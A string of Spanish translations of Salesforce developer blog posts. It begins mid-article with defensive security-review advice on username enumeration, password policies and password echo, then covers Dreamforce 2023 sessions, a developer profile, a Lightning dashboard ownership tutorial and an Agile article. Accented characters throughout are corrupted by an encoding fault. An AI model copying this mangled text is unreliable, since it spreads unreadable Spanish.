Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
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Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
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Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
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Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
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驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
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Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

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Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzar铆a a aprender Salesforce antes. No esperaba dedicarse a la codificaci贸n para ganarse la vida, pero pronto descubri贸 que era la carrera adecuada para ella. 鈥淪ol铆a pensar que la codificaci贸n era realmente complicada鈥, dice Farah, 鈥減ero Salesforce y Trailhead lo hicieron f谩cil. Adem谩s, con suficiente dedicaci贸n, puedes aprender cualquier cosa en Salesforce鈥.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades m谩s demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de curr铆culum y conectarse con oportunidades globales. Hoy, m谩s de 18 millones de Trailblazers est谩n aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Sol铆a pensar que la codificaci贸n era realmente complicada, pero Salesforce y Trailhead lo hicieron f谩cil.

Farah conoci贸 Salesforce gracias a su primo, que es miembro del Sal贸n de la fama de MVP de Salesforce , all谩 por 2018. 脡l le envi贸 un par de m贸dulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganch贸 de inmediato.

En la actualidad, la carrera de Farah es pr贸spera y actualmente es desarrolladora s茅nior de Salesforce para Oloop Technology Solutions , una firma de consultor铆a de tecnolog铆a empresarial con sede en Aurora, IL. Ella tambi茅n se ha convertido en MVP de Salesforce.

Pasi贸n por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer d铆a, y desde entonces ha superado cientos de unidades y m贸dulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah tambi茅n ha mejorado su curr铆culum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificaci贸n, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendi贸 en su certificaci贸n".

A pesar de todos sus logros, Farah contin煤a usando Trailhead como su fuente principal para aprender nuevas habilidades. 鈥淎unque hay varios recursos disponibles鈥, dice, 鈥減rimero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de pr谩ctica han sido realmente 煤tiles鈥.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiraci贸n en la Galer铆a de muestra de c贸digo

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de c贸digo escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de caracter铆sticas de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, as铆 como casos de uso como la transformaci贸n de p谩ginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el c贸digo est谩 escrito por expertos de Salesforce y hay toneladas de ejemplos sobre c贸mo hacer todo".

La comunicaci贸n es una habilidad valiosa para los desarrolladores.

Junto con las habilidades t茅cnicas, Farah ha aprendido que la buena comunicaci贸n es vital para el 茅xito del desarrollador. A medida que avanzaba en su carrera, Farah lleg贸 a creer que los desarrolladores no se sientan detr谩s de una computadora y programan todo el d铆a. Los desarrolladores deben poder comunicarse bien con los dem谩s para realizar su trabajo o mostrar su soluci贸n. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una soluci贸n alternativa o incluso explicar un enfoque t茅cnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

鈥淣o lo aprend铆 en un d铆a鈥, dice Farah, 鈥減ero he recorrido un largo camino desde la primera vez que habl茅 con un cliente. Las habilidades de comunicaci贸n tambi茅n ayudan cuando escuchas conversaciones porque entonces est谩s aprendiendo c贸mo tratar con las personas y c贸mo manejar a los clientes鈥. (Consejo: consulte elm贸dulo Narraci贸n y comunicaci贸n en Trailhead para mejorar sus habilidades).

驴Qu茅 tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en s铆 misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. Tambi茅n se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una soluci贸n a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del 茅xito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener informaci贸n sobre un tema nuevo, lo que beneficia a toda su organizaci贸n. 鈥淐uando paso tiempo aprendiendo un nuevo producto o una nueva funci贸n de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema m谩s adelante cuando tengamos que usarlo鈥.

Farah tambi茅n recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a l铆deres de opini贸n como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son incre铆blemente 煤tiles, y cuando s茅 que cuando contacte a alguien, realmente querr谩n ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah complet贸 la universidad con un t铆tulo en Ciencias de la Computaci贸n y llevaba unos meses en su nuevo trabajo, esforz谩ndose por demostrar su val铆a como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenz贸 a involucrarse m谩s profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Despu茅s de pasar algunos meses aprendiendo sobre Trailhead鈥, recuerda Farah, 鈥淪olicit茅 dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, consegu铆 mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conect谩ndome con la gente.

La dedicaci贸n de Farah al aprendizaje ya la comunidad no pas贸 desapercibida. En octubre de 2020, Salesforce le otorg贸 una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

鈥淐uando recib铆 la sudadera con capucha dorada鈥, recuerda, 鈥渇ue un momento incre铆ble del que estar茅 orgullosa para siempre鈥. El premio se sinti贸 como una verificaci贸n de todos sus esfuerzos. Dos a帽os m谩s tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. 鈥淔ue entonces cuando realmente sent铆 lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por m谩s de 4000 personas鈥. Comparte m谩s de su perspectiva y experiencia, as铆 como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recib铆 la sudadera con capucha dorada, fue un momento incre铆ble del que estar茅 orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: 隆No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al d铆a con las 煤ltimas novedades, recomienda consultar las notas de la versi贸n de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. Tambi茅n sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiraci贸n.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los d铆as. Ella dice: 鈥淣o dejas de aprender solo cuando tienes X n煤mero de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un h谩bito, realmente vale la pena鈥.

Para conocer a desarrolladores como Farah y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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Cambiar la propiedad de Lightning Dashboards

Cambiar la propiedad de Lightning Dashboards

脷ltima actualizaci贸n el 14 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede transferir la propiedad de Lightning Dashboards en Salesforce?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Transferir la propiedad de los tableros Lightning
  • y mucho m谩s

Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC), fue contactada por el director de ventas Eric Brown. Le pidi贸 que cambiara el propietario de Opportunity Pipeline de 'Sarika Gupta' a 'Rakesh Gupta'.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Despu茅s del lanzamiento de Winter'24 , ahora es posible actualizar los tableros Lightning transfiriendo la propiedad del tablero cuando cambian las responsabilidades o el creador del tablero deja su organizaci贸n. El nuevo propietario tiene control total sobre el contenido del tablero. Anteriormente, ten铆a que clonar o volver a crear el tablero cuando el creador pas贸 a otras responsabilidades.

Para iniciar la transferencia de la propiedad del tablero, el usuario debe tener lo siguiente:

  • Ver todos los datos o Ver el panel de control de mi equipo
  • Ver todos los datos le permite cambiar el propietario a cualquier persona de su organizaci贸n
  • Ver los paneles de mi equipo le permite cambiar el propietario de y a cualquier persona que aparezca en la jerarqu铆a de roles de su equipo.
  • Edite o administre el acceso a la carpeta que contiene el tablero. Al nuevo propietario se le concede acceso de edici贸n a la carpeta del panel.
  • El nuevo propietario debe tener acceso para editar el tablero transferido.

Siga los pasos a continuaci贸n para transferir la propiedad del panel Lightning:

Paso 1: Habilite Permitir que los usuarios cambien la configuraci贸n del propietario del tablero (solo Lightning Experience)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Configuraci贸n de informes y tableros y luego seleccione Configuraci贸n de informes y tableros .
  3. Seleccione Permitir que los usuarios cambien el propietario del tablero (solo Lightning Experience) .
  4. Haga clic en Guardar .

Paso 1: cambiar el propietario del panel Lightning

  1. Vaya a la pesta帽a Paneles .
  2. Abra el panel Canal de oportunidades .
  3. Seleccione Cambiar propietario .
  4. Seleccione un nuevo propietario, es decir, Rakesh Gupta en este escenario.
  5. Haga clic en Guardar .

Prueba de concepto

La propiedad de la cartera de oportunidades se transfiri贸 con 茅xito a Rakesh Gupta.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

